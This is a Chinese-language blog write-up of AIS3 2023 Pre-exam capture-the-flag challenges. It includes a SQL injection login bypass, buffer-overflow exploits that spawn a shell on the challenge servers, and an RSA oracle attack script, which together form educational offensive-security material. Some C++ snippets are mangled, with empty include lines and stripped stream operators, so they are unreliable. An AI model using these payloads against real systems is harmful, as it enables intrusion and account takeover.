M3t30r

2023 AIS3 Pre-exam Write Up

2023-05-27T22:49:43.000Z

今年是我打AIS3 Pre-Exam的第三年，今年的目標原本只是比去年的名次好就可以了，沒想到居然打進了前10，覺得十分神奇.w.(當然比較大的可能性是大佬都跑去出題ㄌ:P)今年解出的題目分數也都比較高，去年解的題目大部分都是降到100分XD總之很驚訝自己今年可以拿到第9名，也希望自己可以持續進步!

AIS3官方網站

Misc

Welcome [100]

Are you not a robot ?
FLAG Format: ^AIS3{[A-Z0-9+-*/!?-]+}$

Author: nella17

file: https://drive.google.com/file/d/1OU5R736aRgj9KLce9S4CQj0qsDA6tm2g/view?usp=sharing

這題題目給了一個pdf，每張不同大小和形狀的紙裡面各包含了1個flag的字元，只要把他們通通拼在一起即可拿到flag。要注意題目中的Regex並沒有_，所以flag是以-來進行連接。

FLAG: AIS3{WELCOME-TO-2023-PRE-EXAM&MY-FIRST-CTF}

Robot [100]

Are you a robot?

Note: This is NOT a reversing or pwn challenge. Don’t reverse the binary. It is for local testing only. You will actually get the flag after answering all the questions. You can practice locally by running ./robot AIS3{fake_flag} 127.0.0.1 1234 and it will run the service on localhost:1234.

Author: toxicpie

nc chals1.ais3.org 12348

file: https://drive.google.com/file/d/1cczdP1CntYpbMrU5kD_mf3_Gv3DNYTQe/view?usp=sharing

這題用nc連進去之後會發現要在90秒內做出30道數學題，由於數字很小很容易心算，而且中間又有空格，code需要一點特判，所以我決定直接用心算解完30道數學題之後就能拿到flag。

$ nc chals1.ais3.org 12348
Timeout is 90 seconds
Answer 30 easy math questions to get the flag. Let's go!
9       +       1
10
5               *               2
10
5  *  10
50
8+7
15
2 + 2
4
4  +  8
12
5       *       2
10
7 * 6
42
3       +       3
6
4       +       6
10
4        +       3
7
2*10
20
7       +       3
10
5  *  6
30
9  +  7
16
5        *       7
35
4 + 2
6
2       *       4
8
6*4
24
10      +       7
17
5       +       7
12
4               *               3
12
1        *       4
4
4       *       1
4
9+2
11
9*4
36
3        +       3
6
8 + 10
18
1*7
7
8+5
13
Congratulations! Flag: AIS3{don't_eval_unknown_code_or_pipe_curl_to_sh}

FLAG: AIS3{don't_eval_unknown_code_or_pipe_curl_to_sh}

Web

你可以使用各種技術和手段來達成目標，可能需要進行一些網站分析、程式碼解讀或其他形式的攻擊。請注意，你需要遵守道德規範，不得進行任何非法或有害的行為。

當你成功登入 admin 的帳號後，你將能夠獲得 FLAG。請將 FLAG 提交至挑戰平台，以證明你的成功。

Author: Ching367436

http://chals1.ais3.org:8000/

file: https://drive.google.com/file/d/1G-VtgJFEKcfN0Xj_wRZLLfXuoxPvR3tM/view?usp=sharing

這題先看source code，可以發現在/login的地方，變數直接被塞到SQL expression裡面，是一個典型的SQL Injection。

app.post('/login', recaptcha.middleware.verify, (req, res) => {
    const { username, password } = req.body
    db.get(`SELECT * FROM Users WHERE username = '${username}' AND password = '${password}'`, async (err, row) => {
        if (err) return res.redirect(`https://www.youtube.com/watch?v=dQw4w9WgXcQ`)
        if (!row) return res.redirect(`/login?msg=invalid_credentials`)
        if (row.username !== username) {
            // special case
            return res.redirect(`https://www.youtube.com/watch?v=E6jbBLrxY1U`)
        }
        if (req.recaptcha.error) {
            console.log(req.recaptcha.error)
            return res.redirect(`/login?msg=invalid_captcha`)
        }
        req.session.username = username
        return res.redirect('/2fa')
    })
})

而目標是登入admin，但code中說明如果我們輸入的東西與username不符，就會跳出rickroll，所以我們可以注入的地方在password，只要使用payloadadmin' OR 1=1--就可以直接登入。

登入之後會進入/2FA，但從source code中可以看出，這其實沒有對/dashboard做任何防護，所以直接跳到/dashboard就可以得到flag了。

app.post('/2fa', (req, res) => {
    if (req.session.username) {
        const { code } = req.body
        db.get(`SELECT code FROM Users WHERE username = '${req.session.username}'`, (err, row) => {
            if (err)
                return res.redirect(`https://www.youtube.com/watch?v=dQw4w9WgXcQ`)
            if (row.code === code)
                return res.redirect('/dashboard')
            return res.redirect('/2fa?msg=invalid_code')
        })
    } else {
        return res.redirect('/login')
    }
})

FLAG: AIS3{' UNION SELECT 1, 1, 1, 1 WHERE ({condition})--}

Crypto

Fernet [100]

你所在的公司最近發生了一起駭客入侵事件，管理員發現駭客使用 Fernet 密碼學來加密了他們的敏感數據。你需要解開被加密的檔案，否則事情就大條了！

flag format : FLAG{xxx}

Auther : Richard ( dogxxx)

file: https://drive.google.com/file/d/15q0Ty6A7tWm6cPBP2UMWYz1yJcfN0tEM/view?usp=sharing

這題一樣直接看source code，可以發現他是利用Fernet來進行加密。

import os
import base64
from cryptography.fernet import Fernet
from Crypto.Hash import SHA256
from Crypto.Protocol.KDF import PBKDF2
from secret import FLAG

def encrypt(plaintext, password):
    salt = os.urandom(16)  
    key = PBKDF2(password.encode(), salt, 32, count=1000, hmac_hash_module=SHA256)  
    f = Fernet(base64.urlsafe_b64encode(key))  
    ciphertext = f.encrypt(plaintext.encode())  
    return base64.b64encode(salt + ciphertext).decode()

# Usage:
leak_password = 'mysecretpassword'
plaintext = FLAG

# Encrypt
ciphertext = encrypt(plaintext, leak_password)
print("Encrypted data:",ciphertext)

# Encrypted data:iAkZMT9sfXIjD3yIpw0ldGdBQUFBQUJrVzAwb0pUTUdFbzJYeU0tTGQ4OUUzQXZhaU9HMmlOaC1PcnFqRUIzX0xtZXg0MTh1TXFNYjBLXzVBOVA3a0FaenZqOU1sNGhBcHR3Z21RTTdmN1dQUkcxZ1JaOGZLQ0E0WmVMSjZQTXN3Z252VWRtdXlaVW1fZ0pzV0xsaUM5VjR1ZHdj

從code裡面可以知道，他的key是利用password與salt使用PBKDF2生成，但password和salt都是已知，可以分別從source code和output中得到，因此我們可以直接造出一模一樣的key來對加密的東西進行解密。將這段code稍作修改後就能作為exploit拿來decrypt，得到flag。

import base64
from cryptography.fernet import Fernet
from Crypto.Hash import SHA256
from Crypto.Protocol.KDF import PBKDF2

def decrypt(ciphertext, password, salt):
    key = PBKDF2(password.encode(), salt, 32, count=1000, hmac_hash_module=SHA256)
    f = Fernet(base64.urlsafe_b64encode(key))
    plaintext = f.decrypt(ciphertext)
    return plaintext

leak_password = 'mysecretpassword'
ciphertext = base64.b64decode(b'iAkZMT9sfXIjD3yIpw0ldGdBQUFBQUJrVzAwb0pUTUdFbzJYeU0tTGQ4OUUzQXZhaU9HMmlOaC1PcnFqRUIzX0xtZXg0MTh1TXFNYjBLXzVBOVA3a0FaenZqOU1sNGhBcHR3Z21RTTdmN1dQUkcxZ1JaOGZLQ0E0WmVMSjZQTXN3Z252VWRtdXlaVW1fZ0pzV0xsaUM5VjR1ZHdj')
salt = ciphertext[:16]
ciphertext = ciphertext[16:]

print(decrypt(ciphertext, leak_password, salt))

FLAG: FLAG{W3lc0m3_t0_th3_CTF_W0rld_!!_!!!_!}

2DES [484]

「2DES 」是一個刺激的「Capture the Flag」（CTF）挑戰，考驗你在解密使用 Double DES（2DES）加密的數據方面的技能。準備好進入密碼學的世界，解開這個加密訊息中隱藏的秘密。

在這個挑戰中，你將面對一個使用 2DES 加密算法保護的加密訊息。你的任務是解密這個訊息並恢復原始明文。為了做到這一點，你需要深入了解密碼學原理，並能夠運用各種技術來破解加密。

你準備好踏上這個激動人心的解密之旅，揭示這個訊息中隱藏的秘密了嗎？加入我們的「2DES 加密 CTF 挑戰」，在迷人的密碼學世界中展示你的技巧吧！

Author: Ching367436

file: https://drive.google.com/file/d/1IFZz-1Q0En15uO6MehLM35cxDMZA6Sip/view?usp=sharing

這題的題目已經很明顯地暗示這題是Double DES了，而其最常見的攻擊手法就是Meet In The Middle(MITM)中間相遇攻擊，因此可以直接利用這個弱點來進行攻擊，分別拿到key1與key2。

const crypto = require('crypto')
const FLAG = require('./flag')
const assert = require('assert')

// Generate key and IV
const key1 = crypto.randomBytes(8)
const key2 = crypto.randomBytes(8)
const iv = Buffer.concat([Buffer.from('AIS3 三')])

for (let i = 0; i < 8; i++) {
    key1[i] = key1[i] | 0b11110000
    key2[i] = key2[i] | 0b11110000
}


function encrypt(msg, key, iv) {
    const cipher = crypto.createCipheriv('des-cbc', key, iv)
    let encrypted = cipher.update(msg)
    encrypted = Buffer.concat([encrypted, cipher.final()])
    return encrypted
}

function decrypt(msg, key, iv) {
    const decipher = crypto.createDecipheriv('des-cbc', key, iv)
    let decrypted = decipher.update(msg, 'nyan~')
    decrypted = Buffer.concat([decrypted, decipher.final()])
    return decrypted
}

const hint_pt = Buffer.from('AIS3{??????????}', 'utf8')

res = encrypt(encrypt(FLAG, key1, iv), key2, iv)
hint = encrypt(encrypt(hint_pt, key1, iv), key2, iv)

assert.equal(
    decrypt(decrypt(res, key2, iv), key1, iv).toString('utf8'),
    FLAG.toString('utf8')
)

console.log(`let res = '${res.toString('hex')}'`)
console.log(`let hint_pt = '${hint_pt.toString('hex')}'`)
console.log(`let hint = '${hint.toString('hex')}'`)
// console.log(`let key1 = '${key1.toString('hex')}'`)
// console.log(`let key2 = '${key2.toString('hex')}'`)
console.log(`let iv = '${iv.toString('hex')}'`)
console.log(`
    module.exports = {
        res: res,
        hint: hint,
        iv: iv,
        hint_pt: hint_pt,
    }
`)

首先我們需要先造出一個所有key的list，在這裡我使用C++來進行IO加速。其中在解密的時候可以發現，前面4 bit因為特殊for迴圈的關係，固定會是1111，而且最後1 bit的數值1/0並不會影響到解密出來的東西，所以可以枚舉奇數就好，因此一位會產生$2^3=8$種可能，並一共會產生$8^8=16777216$種key，在可電腦窮舉的範圍內。

#include
#include
#define IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);
using namespace std;

int32_t main(){
    IOS
    ofstream MyFile("key.txt");
    for(int a=1;a<16;a+=2){
        printf("%d\n",a);
        for(int b=1;b<16;b+=2){
            for(int c=1;c<16;c+=2){
                for(int d=1;d<16;d+=2){
                    for(int e=1;e<16;e+=2){
                        for(int f=1;f<16;f+=2){
                            for(int g=1;g<16;g+=2){
                                for(int h=1;h<16;h+=2){
                                    MyFile<"f"<"f"<"f"<"f"<"f"<"f"<"f"<"f"<"\n";
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    MyFile.close();
    return 0;
}
// key.txt

生成key.txt之後，我針對題目所給的hint_pt與hint分別進行加密與解密，並且儲存到en.txt與de.txt兩個檔案中。

const crypto = require('crypto')

const iv = Buffer.concat([Buffer.from('AIS3 三')])
let hint_pt = Buffer.from('414953337b3f3f3f3f3f3f3f3f3f3f7d',"hex")
let hint = Buffer.from('118cd68957ac93b269335416afda70e6d79ad65a09b0c0c6c50917e0cee18c93', "hex")

var fs = require('fs');
var readline = require('readline');
var inputStream = fs.createReadStream('key.txt');
var lineReader = readline.createInterface({ input: inputStream });
lineReader.on('line', function(line) {
    let key1 = Buffer.from(line,"hex")
    k = encrypt(hint_pt, key1, iv)
    fs.appendFile('en.txt', key1.toString("hex")+' '+k.toString("hex")+'\n', function (err) {
        if (err)
            console.log(err);
    });
});

function encrypt(msg, key, iv) {
    const cipher = crypto.createCipheriv('des-cbc', key, iv)
    let encrypted = cipher.update(msg)
    encrypted = Buffer.concat([encrypted, cipher.final()])
    return encrypted
}
// en.txt

const crypto = require('crypto')

const iv = Buffer.concat([Buffer.from('AIS3 三')])
let hint_pt = Buffer.from('414953337b3f3f3f3f3f3f3f3f3f3f7d',"hex")
let hint = Buffer.from('118cd68957ac93b269335416afda70e6d79ad65a09b0c0c6c50917e0cee18c93', "hex")

var fs = require('fs');
var readline = require('readline');
var inputStream = fs.createReadStream('key.txt');
var lineReader = readline.createInterface({ input: inputStream });
lineReader.on('line', function(line) {
    let key2 = Buffer.from(line,"hex")
    try{
        k = decrypt(hint, key2, iv)
        if(k.toString("hex").length < 50){
            console.log(key2.toString("hex"), k.toString("hex"))
        }
        fs.appendFile('de.txt', key2.toString("hex")+' '+k.toString("hex")+'\n', function (err) {
            if (err)
                console.log(err);
        });
    }catch{}
});

function decrypt(msg, key, iv) {
    const decipher = crypto.createDecipheriv('des-cbc', key, iv)
    let decrypted = decipher.update(msg, 'nyan~')
    decrypted = Buffer.concat([decrypted, decipher.final()])
    return decrypted
}
// de.txt

兩個分別生成到一半時因為我的電腦效能太差，且nodejs的輸出效率太慢了，所以我就把它們截斷，幸運的是在裡面找到了相同的中間密文0015f807fa38ef42050da63c7100bc0f19c299aaa0323928，而對應到的key1是f5f1fbfff1fdf5f5，key2則是f7f9f9fff7fbf5f5。拿著這兩把key去對原本的flag密文做解密即可拿到flag。

const crypto = require('crypto')

const key1 = Buffer.from('f5f1fbfff1fdf5f5',"hex")
const key2 = Buffer.from('f7f9f9fff7fbf5f5',"hex")
const iv = Buffer.concat([Buffer.from('AIS3 三')])

for (let i = 0; i < 8; i++) {
    key1[i] = key1[i] | 0b11110000
    key2[i] = key2[i] | 0b11110000
}

function decrypt(msg, key, iv) {
    const decipher = crypto.createDecipheriv('des-cbc', key, iv)
    let decrypted = decipher.update(msg, 'nyan~')
    decrypted = Buffer.concat([decrypted, decipher.final()])
    return decrypted
}

res=Buffer.from('6020e9735ca3bf2f63aebcf3622c994880ffed2b509c91414c75d4c500ee80f4',"hex")
console.log(decrypt(decrypt(res, key2, iv), key1, iv).toString('utf8'))

FLAG: AIS3{折半枚舉}

MSB Oracle Attack [499]

We all know RSA LSB oracle, but do you know MSB oracle?

Author: toxicpie

nc chals1.ais3.org 12347

file: https://drive.google.com/file/d/15KSYACFO3m1NWoL_Yb33G-fBtzd17jvx/view?usp=sharing

先來看看source code。

import os
import random
from Crypto.Util.number import getPrime


p = getPrime(512)
q = getPrime(512)
n = p * q
e = 65537
d = pow(e, -1, (p - 1) * (q - 1))

print(f'Your key: {hex(n)} {hex(e)}')

secret = random.randrange(n)
hint = pow(secret, e, n)

print(f'Your hint: {hex(hint)}')

for _ in range(1500):
    ct = int(input('The ciphertext? '), 16)
    if ct == 0:
        break
    pt = pow(ct, d, n)
    if pt > n // 2:
        print('Your plaintext is big')
    else:
        print('Your plaintext is small')

if input('The secret? ') == hex(secret):
    flag = os.environ['FLAG']
    print(f'Your flag: {flag}')
else:
    print('No flag')

這題題目提到LSB oracle，可以發現與本題的想法很像，題敘從原本LSB的奇偶轉換成$\dfrac{n}{2}$，不過很快就可以發現利用大於$\dfrac{n}{2}$與小於$\dfrac{n}{2}$的條件，搭配密文輸入

$hint\times(2^{power})^e=(secret\times 2^{power})^e$

，這時解密後會出現

$secret\times 2^{power}>\dfrac{n}{2}\implies secret>\dfrac{n}{2^{power+1}}$或

$secret\times 2^{power}<\dfrac{n}{2}\implies secret<\dfrac{n}{2^{power+1}}$

兩種情況，就可以作為二分搜的條件，來限縮secret的值，最後在1500次內找到趨近真實的secret，可以直接寫二分搜的exploit拿到flag。

不過在二分搜時，因為我所使用的是整除的二分搜，因此在最後的secret上會有小於10000的誤差，這時我利用for loop窮舉來判斷加密後的結果是否與給定的hint一致，就可以確定secret的值。輸入0跳出並輸入secret後就可以拿到flag。

from pwn import *

r=remote('chals1.ais3.org',12347)

r.recvuntil(b': ')
k=r.recvline().strip().decode().split(' ')
n=int(k[0],16)
e=int(k[1],16)

r.recvuntil(b': ')
k=r.recvline().strip().decode()
c=int(k,16)

flag=0
pwr=0
lr=[0,n]
while(flag<1500):
    r.recvuntil(b'? ')
    payload=hex((c*((2**pwr)**e))%n)
    r.sendline(payload)
    k=r.recvline()
    print(k)
    if b'small' in k:
        lr[1]=(lr[0]+lr[1])//2
    else:
        lr[0]=(lr[0]+lr[1])//2
    print(flag,lr)
    flag+=1
    pwr+=1
    if lr[0]==lr[1]:
        break
    else:
        print(abs(lr[0]-lr[1]))

for i in range(10000):
    m=lr[0]+i
    hint = pow(m, e, n)
    if hint == c:
        print(hex(m))
        break
    else:
        print(m, c)

r.interactive()

FLAG: AIS3{O0o0oO0o0oOooooO0o0oOOO0oO0o0o_Y0u_a43_4_tru1ly_Or4c13!!@#!@#!@#!@$!@$!@}

Reverse

Simply Reverse [139]

Just reverse it!

file: https://drive.google.com/file/d/140muCIzd7q5vMZNwhL5DDLXAx6tguyHc/view?usp=sharing

這題其實算是非常常見的Reverse基本題，用IDA看一下會發現裡面有一個verify function，encrypted是一個已知所有值的陣列，所以只要逆向之後利用他的if判斷式直接在printable ascii之中字典爆破就可以拿到flag了，從psuedo code可以看出flag長度為34。其中*((signed int *)&v2 - 1)是index，*(&v2 - 3)是flag陣列，而需要要注意的是unsigned __int8限制範圍在256，需要取mod 256才不會出錯。

直接上exploit:

#include
#include
#define IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);
using namespace std;

int enc[34]={
  138,  80, 146, 200,   6,  61,  91, 149, 182,  82, 
   27,  53, 130,  90, 234, 248, 148,  40, 114, 221, 
  212,  93, 227,  41, 186,  88,  82, 168, 100,  53, 
  129, 172,  10, 100
};

int32_t main(){
    IOS
    for(int i=0;i<34;i++){
        for(int j=0;j<128;j++){
            if(enc[i]==((((i^j)<<((i^9)&3))|((i^j)>>(8-((i^9)&3))))+8)%256){
                cout<<char(j);
                break;
            }
        }
    }
    cout<<"\n";
    return 0;
}

FLAG: AIS3{0ld_Ch@1_R3V1_fr@m_AIS32016!}

Flag Sleeper [379]

Taking a nap before entering the world of AIS3 is important! A good hacker requires good sleep, and so does this flag checker.

Author: TwinkleStar03 ✨

file: https://drive.google.com/file/d/1-AkPHIHF0G9Y-3BMes2QHb1slRGeHuUo/view?usp=sharing

這題執行之後會發現他只會噴一個表情符號給你，但用IDA看不出甚麼東西，所以改用Ghidra，裡面可以發現main函數上面的一堆數字應該是三個陣列，而下面的code雖然有rand()，但他很明顯將iVar2限制在0x34之內，用這個來去取iVar1的值，而下方又利用iVar2作為index去將其餘兩個陣列的元素做xor，所以合理懷疑iVar1，也就是local_358是儲存index的陣列，而flag長度就是0x34。

接下來，他將其他兩個陣列的數字利用iVar2作為index來xor，所以另外兩個陣列xor應該就是flag的字元，而根據index重新排列就能得到flag。直接寫出exploit拿到flag。

#include
#include
#define IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);
using namespace std;

int ind[0x34]={10,0xc,0x1c,7,0x26,0x1f,0x2f,0x2c,0x2a,0x23,0x30,0x1e,0x15,0xb,0x11,0x10,0x22,0x28,0x21,0x27,0x29,9,0x16,4,6,0x14,0x13,0x2e,0x17,0x2d,0x1a,0,0xf,3,8,0x2b,0xe,5,2,0x1b,0x31,1,0x33,0x24,0x25,0x18,0x19,0x32,0x20,0xd,0x1d,0x12};
int a[0x34]={0xd4,0xe8,0xa4,0x1c,0xfd,0x84,0xc2,0x2f,0x2e,0x96,0x60,0xd8,0x79,0xd8,0x8c,0xa4,0x31,0xdb,0x93,0xfc,0xc9,0x1c,9,0xbc,0x9b,0x4f,0x85,0xff,0x68,0x14,0x57,0x40,0x93,0x8f,0x44,0x93,0x8e,0x60,0xa5,0xf4,0x3e,0x3a,0x77,0x19,0x3d,0x38,0x47,0xb6,7,0x25,1,0x9a};
int b[0x34]={0xed,0xd9,0xd4,0x28,0x95,0xdb,0xa5,0x70,0x1d,0xf1,8,0xbd,0xd,0xe0,0xd3,0x95,5,0xb8,0xff,0xcf,0xa2,0x7a,0x56,199,0xaa,0x7a,0xf0,0xce,9,0x66,0x66,1,0xa3,0xbc,0x77,0xe1,0xef,3,0xf6,0x99,9,0x73,10,0x46,0x5e,0x67,0x34,0x89,0x61,0x1d,0x6d,0xd0};
int flag[0x34]={0};

int32_t main(){
    for(int i=0;i<0x34;i++){
        flag[ind[i]]=a[i]^b[i];
    }
    for(int i=0;i<0x34;i++){
        cout<<char(flag[i]);
    }
    cout<<"\n";
    return 0;
}

FLAG: AIS3{c143f9818a01_Ju5t_a_s1mple_fl4g_ch3ck3r_r1gh7?}

Vivid Emotion [493]

If you failed on this, I’ll give you some lovely emojis to cheer you up! Keep going until you see the Success!

To get the flag, store your answers into a file and run flag-decryptor.py .

There are some requirements for decryptor:

Install python package pycryptodome
- pip install pycryptodome
To let decryptor works properly, answer_file’s content must follow the format. Please arrange your answers correctly.
- If you don’t like my decryptor, you can reverse it and rewrite it!

If you step into some problem while checking answers using the checker, Use pwntools process to send answers to program may help.

Author: TwinkleStar03 🌟

file: https://drive.google.com/file/d/10_qEMNX18pZE7o269Fy-seph-eHgnzxL/view?usp=sharing

先把這題的elf跑起來，會發現他要輸入一個secret number，稍微逆一下就知道這個數字是333。而在輸入333之後，接下來需要輸入333個數字做為secret，而很明顯可以發現這些數字的條件判斷函數存在於所有chk開頭的區塊裡面，而這個就可以用z3 solver解決，因此寫個exploit來把數字解出來。

from z3 import *

x = IntVector('x', 333)

s = Solver()

# s.add(...)
# 詳見HackMD https://hackmd.io/@M3t30r/Bk4n4dkIn#Vivid-Emotion-493

flag= [0*333]
print(s.check())
m = s.model()
for i in m:
    print(i,end=' ')
    print(m[i])

解出來之後把它們依照index重新排列並且放到ans.txt裡面，送回flag-decryptor.py就能夠拿到flag了。

// rearrange
#include
#include
#define IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);
using namespace std;

int ind[335]={283,314,286,277,294,295,329,285,233,202,235,243,207,332,247,238,229,225,179,257,293,269,324,100,255,246,323,301,307,183,245,318,331,218,275,288,322,261,219,289,317,266,321,259,140,157,113,172,107,68,312,163,84,287,21,187,276,216,136,42,44,76,118,160,123,311,133,64,26,43,18,40,139,119,77,101,274,188,217,28,244,125,292,32,224,305,273,47,214,92,95,155,132,328,313,319,90,267,176,248,6,253,105,206,173,102,262,190,296,168,33,242,325,271,45,171,249,310,19,167,79,197,177,120,284,148,12,78,327,193,196,85,215,127,144,170,212,22,108,81,99,96,152,29,88,93,110,9,82,221,2,182,11,10,185,31,232,236,222,91,278,256,124,130,165,290,16,25,137,279,134,231,315,189,330,36,205,192,142,252,213,264,198,200,251,14,150,94,115,166,298,86,135,46,145,241,13,15,59,158,204,111,180,30,38,228,89,210,49,223,17,117,128,131,309,153,164,282,69,121,184,83,308,57,237,297,5,226,230,4,54,75,320,272,270,300,52,263,156,8,80,162,195,51,61,220,209,146,281,302,56,109,154,280,114,138,208,35,265,1,227,63,20,112,291,316,201,159,326,71,72,58,240,97,203,250,60,62,161,67,27,55,191,126,169,34,122,186,0,23,50,239,87,73,147,175,199,306,66,74,98,3,65,7,299,37,141,149,303,103,178,53,116,151,211,48,304,24,143,104,254,234,260,174,70,129,181,268,39,194,258,41,106};
int val[335]={152,180,108,4,136,62,123,238,187,182,200,38,214,221,205,82,12,40,156,81,21,14,132,205,77,13,33,165,157,235,44,113,199,93,83,115,92,160,95,34,50,164,67,12,215,40,61,1,205,169,134,249,243,238,113,61,242,80,204,157,237,1,210,163,70,8,124,131,107,220,2,111,9,154,186,192,189,46,205,209,246,160,199,175,82,195,105,43,0,134,153,220,184,21,156,187,246,232,94,172,175,93,189,160,20,155,197,251,241,154,172,247,1,112,119,207,105,127,72,245,163,135,132,31,58,8,236,239,154,196,177,61,167,61,110,96,250,159,137,10,174,76,235,206,102,29,63,215,55,52,14,36,117,134,185,14,45,22,27,222,84,237,164,19,175,91,16,176,31,7,60,24,74,89,36,47,103,131,21,13,151,49,47,12,110,209,37,212,46,247,17,224,110,183,68,231,67,186,119,235,28,214,106,48,91,249,206,0,147,79,234,112,156,145,102,101,56,136,42,19,12,129,107,198,105,242,30,25,12,23,102,16,157,93,130,101,44,235,91,164,133,33,59,75,164,71,72,177,191,231,142,253,117,194,134,203,185,200,114,10,147,111,122,65,208,208,232,21,101,18,42,16,40,192,73,156,127,154,117,237,211,209,221,188,238,44,60,117,242,178,111,107,174,196,33,141,42,190,73,239,9,17,249,80,97,58,235,156,178,49,218,205,46,137,76,106,31,234,233,229,173,111,217,192,242,43,68,126,243,157,36,54,187};
int f[335]={0};

int32_t main(){
    IOS
    for(int i=0;i<333;i++){
        f[ind[i]]=val[i];
    }
    for(int i=0;i<333;i++){
        cout<
    }
    return 0;
}
// ans.txt

$ python3 flag-decryptor.py
Welcome to the flag decryptor! (｡･ω･｡)ﾉ♡
Please make a file to store your all answers (in integers).
Make sure there is not endline at the end.
The file is has to follow the format below:



...

Here is an example that satisfies the format:
251
5
2
3
...
63
Please enter the file path of answer: ans.txt
[*] Derived Key (May not able to decrypt): 5d3242c61ffecc64bfc37f255b827ef239b6dc7c5b030458be40a1979cba2bf1
[+] Congrats （＊´・∀・＊）! Here is your flag: AIS3{OuO_Hope_th1s_ch4l1eng3_gIve_y0u_viv1d_em0Tions!_(ฅ^･ω･^ ฅ)}!

FLAG: AIS3{OuO_Hope_th1s_ch4l1eng3_gIve_y0u_viv1d_em0Tions!_(ฅ^･ω･^ ฅ)}

Pwn

Simply Pwn [356]

The simplest pwn

nc chals1.ais3.org 11111

file: https://drive.google.com/file/d/1XQctYAM-Ul1LKooX8ofRM51pX6P1vIQI/view?usp=sharing

這題很明顯是buffer overflow，因為read的bytes數量(256 bytes)超過了儲存量，且有一個shellcode function可以執行/bin/sh，所以要讓rsp指向他讓他跳上去。把elf跑起來之後發現過了67個bytes之後會出現一個亂碼，表示最多的儲存陣列就到67 bytes，所以接下來再蓋12 bytes把old rbp蓋掉就可以跳到shellcode上面了，所以一共要蓋$67+12=79$ bytes。直接寫exploit就可以拿到shell。

$ ./pwn
Show me your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

from pwn import *

r=remote('chals1.ais3.org',11111)

s=0x4017a5

r.recvuntil(b': ')
r.sendline(b'A'*79+p64(s))
r.interactive()

FLAG: AIS3{5imP1e_Pwn_4_beGinn3rs!}

ManagementSystem [443]

這個系統，看起來好像有點問題…。請利用你的技能和知識，找到漏洞並利用它們吧！

flag format : FLAG{xxx}

Author : Richard ( dogxxx)

nc chals1.ais3.org 10003

file: https://drive.google.com/file/d/1mnng4xunujuw5jCK1udhEmD5fTFkdbdi/view?usp=sharing

這題其實跟第一題很像，可以發現在delete的function裡面出現了一個gets()誤用的buffer overflow，也有secret_function可以開shell，不過這個delete function要在database裡存在user時才能使用，因此前面要先註冊一個user，接下來才繼續執行delete function。

User *delete_user(User *head) {
    printf("Enter the index of the user you want to delete: ");
    char buffer[64];
    gets(buffer); 

    int user_index;
    sscanf(buffer, "%d", &user_index);

    if (user_index <= 0) {
        printf("Invalid index.\n");
        return head;
    }

    if (user_index == 1) {
        User *user_to_delete = head;
        head = head->next;
        free(user_to_delete);
        return head;
    }

    User *previous = head;
    User *current = head->next;
    int count = 2;

    while (current != NULL) {
        if (count == user_index) {
            previous->next = current->next;
            free(current);
            return head;
        }

        previous = current;
        current = current->next;
        count++;
    }

    printf("User not found.\n");
    return head;
}

而sscanf會將buffer裡面的數字部分存到user_index，為了要執行到ret，因此我們要先給定一個假數字後接上空白，之後再接上payload，這樣可以讓user_index的檢查正常執行，最終跳到secret_function上面。

至於要蓋掉多少，可以用gdb來看看。用gef pattern create之後，根據前面的指示，最後在delete user的地方塞入b'123 '+pattern，可以發現rsp指向了aaaanaaaaaaaoaaaaaaa，gef顯示pattern search的offset是100，所以要塞入的pattern量就是100 bytes，直接寫個exploit就可以拿到shell了。

gef➤
Enter the index of the user you want to delete: 123 aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaa
User not found.

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401660 in delete_user ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x000000004052a0  →  0x00000000333231 ("123"?)
$rbx   : 0x000000004017b0  →  <__libc_csu_init+0> endbr64
$rcx   : 0x007ffff7ed1077  →  0x5177fffff0003d48 ("H="?)
$rdx   : 0x0
$rsp   : 0x007fffffffe058  →  "aaaanaaaaaaaoaaaaaaa"
$rbp   : 0x6161616d61616161 ("aaaamaaa"?)
$rsi   : 0x007ffff7fb0723  →  0xfb17e0000000000a ("\n"?)
$rdi   : 0x007ffff7fb17e0  →  0x0000000000000000
$rip   : 0x00000000401660  →   ret
$r8    : 0x10
$r9    : 0x0
$r10   : 0x007ffff7f5eac0  →  0x0000000100000000
$r11   : 0x246
$r12   : 0x000000004011d0  →  <_start+0> endbr64
$r13   : 0x007fffffffe170  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffe058│+0x0000: "aaaanaaaaaaaoaaaaaaa"         ← $rsp
0x007fffffffe060│+0x0008: "aaaaoaaaaaaa"
0x007fffffffe068│+0x0010: 0x00000061616161 ("aaaa"?)
0x007fffffffe070│+0x0018: 0x007fffffffe170  →  0x0000000000000001
0x007fffffffe078│+0x0020: 0x000000004052a0  →  0x00000000333231 ("123"?)
0x007fffffffe080│+0x0028: 0x0000000000000000
0x007fffffffe088│+0x0030: 0x007ffff7de7083  →  <__libc_start_main+243> mov edi, eax
0x007fffffffe090│+0x0038: 0x007ffff7ffc620  →  0x00050a6600000000
───────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401656  call   0x401110 
